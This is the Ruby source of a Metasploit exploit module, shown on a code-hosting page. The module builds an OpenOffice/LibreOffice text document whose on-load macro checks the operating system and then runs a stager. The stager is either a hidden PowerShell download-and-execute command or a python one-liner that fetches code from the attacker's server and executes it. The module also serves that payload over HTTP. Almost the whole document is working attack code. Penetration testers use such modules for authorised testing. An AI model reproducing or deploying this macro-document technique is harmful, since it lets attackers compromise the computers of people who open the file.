Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/openoffice_document_macro.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/zip'6require 'cgi'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011include Msf::Exploit::FILEFORMAT12include Msf::Exploit::Powershell13include Msf::Exploit::Remote::HttpServer1415WINDOWSGUI = 'windows'16OSXGUI = 'osx'17LINUXGUI = 'linux'1819def initialize(info={})20super(update_info(info,21'Name' => "Apache OpenOffice Text Document Malicious Macro Execution",22'Description' => %q{23This module generates an Apache OpenOffice Text Document with a malicious macro in it.24To exploit successfully, the targeted user must adjust the security level in Macro25Security to either Medium or Low. If set to Medium, a prompt is presented to the user26to enable or disable the macro. If set to Low, the macro can automatically run without27any warning.2829The module also works against LibreOffice.30},31'License' => MSF_LICENSE,32'Author' =>33[34'sinn3r' # Metasploit35],36'References' =>37[38['URL', 'https://en.wikipedia.org/wiki/Macro_virus']39],40'DefaultOptions' =>41{42'EXITFUNC' => 'thread',43'DisablePayloadHandler' => false44},45'Targets' =>46[47[48'Apache OpenOffice on Windows (PSH)', {49'Platform' => 'win',50'Arch' => [ARCH_X86, ARCH_X64]51}],52[53'Apache OpenOffice on Linux/OSX (Python)', {54'Platform' => 'python',55'Arch' => ARCH_PYTHON56}]57],58'Privileged' => false,59'DisclosureDate' => '2017-02-08'60))6162register_options([63OptString.new("BODY", [false, 'The message for the document body', '']),64OptString.new('FILENAME', [true, 'The OpenOffice Text document name', 'msf.odt'])65])66end676869def on_request_uri(cli, req)70print_status("Sending payload")7172if target.name =~ /PSH/73p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)74else75p = payload.encoded76end7778send_response(cli, p, 'Content-Type' => 'application/octet-stream')79end808182def primer83print_status("Generating our odt file for #{target.name}...")84path = File.join(Msf::Config.install_root, 'data', 'exploits', 'openoffice_document_macro')85docm = package_odt(path)86file_create(docm)87end888990def get_windows_stager91%Q|Shell("cmd.exe /C ""#{generate_psh_stager}""")|92end939495def get_unix_stager96%Q|Shell("#{generate_python_stager}")|97end9899100def generate_psh_stager101@windows_psh_stager ||= lambda {102ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl103download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)104download_and_run = "#{ignore_cert}#{download_string}"105generate_psh_command_line(106noprofile: true,107windowstyle: 'hidden',108command: download_and_run)109}.call110end111112113def generate_python_stager114@python_stager ||= lambda {115%Q|python -c ""import urllib2; r = urllib2.urlopen('#{get_uri}'); exec(r.read());""|116}.call117end118119120def get_statger121case target.name122when /PSH/123get_windows_stager124when /Python/125get_unix_stager126end127end128129130# This macro code has the following in mind:131# 1. It checks the platform to eliminate less misfires. Since we have only tested on Windows/Linux/OSX,132# we only want to fire at those.133# 2. Originally, I tried to embed the payload in the macro code, write it out and then execute it.134# This turned out to be problematic, because for some reason OpenOffice is not able to135# write a large string to a file (I've tried either shell("echo") or using the macro API).136# The stager code is similar to web_delivery.137def macro_code138CGI.escapeHTML(%Q|139Sub OnLoad140Dim os as string141os = GetOS142If os = "#{WINDOWSGUI}" OR os = "#{OSXGUI}" OR os = "#{LINUXGUI}" Then143Exploit144end If145End Sub146147Sub Exploit148#{get_statger}149End Sub150151Function GetOS() as string152select case getGUIType153case 1:154GetOS = "#{WINDOWSGUI}"155case 3:156GetOS = "#{OSXGUI}"157case 4:158GetOS = "#{LINUXGUI}"159end select160End Function161162Function GetExtName() as string163select case GetOS164case "#{WINDOWSGUI}"165GetFileName = "exe"166case else167GetFileName = "bin"168end select169End Function170|)171end172173def on_file_read(short_fname, full_fname)174buf = File.read(full_fname)175176case short_fname177when /content\.xml/178buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])179when /Module1\.xml/180buf.gsub!(/CODEGOESHERE/, macro_code)181end182183yield short_fname, buf184end185186187def package_odt(path)188zip = Rex::Zip::Archive.new189190Dir["#{path}/**/**"].each do |file|191p = file.sub(path+'/','')192193if File.directory?(file)194print_status("Packaging directory: #{file}")195zip.add_file(p)196else197on_file_read(p, file) do |fname, buf|198print_status("Packaging file: #{fname}")199zip.add_file(fname, buf)200end201end202end203204zip.pack205end206207208def exploit209super210end211end212213214